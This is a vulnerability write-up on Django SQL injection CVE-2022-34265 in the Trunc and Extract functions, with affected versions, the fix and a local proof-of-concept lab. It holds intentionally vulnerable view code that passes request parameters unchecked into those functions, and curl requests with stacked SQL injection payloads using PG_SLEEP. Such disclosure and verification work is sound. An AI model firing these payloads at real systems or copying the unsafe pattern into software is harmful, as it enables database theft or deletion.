start
docker-compose build
docker-compose up -d
stop
docker-compose down
A vulnerability (CVE-2022-34265) in Django was disclosed on July 5, 2022 (US time). This article describes our discussion of this vulnerability and the results of our verification.
This vulnerability is due to improper string processing when executing SQL for the arguments of the functions Trunc
and Extract
used for date data in Django. By specifying the request parameters as is in the kind
argument of Trunc
or the lookup_name
argument of Extract
, there is a risk that arbitrary SQL minutes can be executed.
By exploiting this vulnerability, a third party can send commands to the database to access unauthorized data or delete the database.
- Django 3.2.x prior to 3.2.14
- Django 4.0.x prior to 4.0.6
- Update to Django 3.2.14 or higher.
- Update to Django 4.0.6 or higher.
Many of the vulnerabilities discovered in Django in the past were SQL Injection vulnerabilities, and we wondered if there were other vulnerabilities like CVE-2020-7471, so we checked the database function arguments in turn, we found arguments that had not been detoxified, and Takuto Yoshikai (the author) reported this to the IPA and the Django development team.
As a result, in the release resolving CVE-2022-34265
- String handling of vulnerable arguments
- String handling to prevent SQL statement corruption when single quotes or other characters are included in arguments
The following actions have been taken to address these issues.
- ThinkPad Ubuntu20.04
- Python 3.9.7
- Django 4.0.5
- Project Name: project
- Application Name: vuln
vuln/models.py
We used an example from Django Documentation, model for a table that records the start and end time of a date.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
This filters the year numbers in the start_datetime column of Experiment that are the same as the year, month, day, hour, minute, second, etc. of end_datetime. SQL Injection vulnerability may be triggered from here.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
The Trunc function is used to truncate specific year, month, day, hour, minute, second, etc. portions of date and time data. In the above example, start_datetime and start_datetime with the payload portion truncated are the same record. This is where the SQL Injection vulnerability could be triggered.
To verify that the attack succeeds, use the PG_SLEEP instruction to see if there is a delay in the time the response is returned.
# Normal URL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL where the database instruction can be executed
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
I have specified 5 seconds in PG_SLEEP, but it seems that PG_SLEEP(5) takes several seconds. It seems to be called several seconds depending on the implementation and situation. Since arbitrary SQL statements can be executed, dangerous attacks such as database deletion are possible.
As a result of our discussion and verification, we found that there is no small possibility of a successful attack depending on the implementation. We recommend that you update your system as soon as possible to avoid the risk of DROP TABLE in the worst case scenario.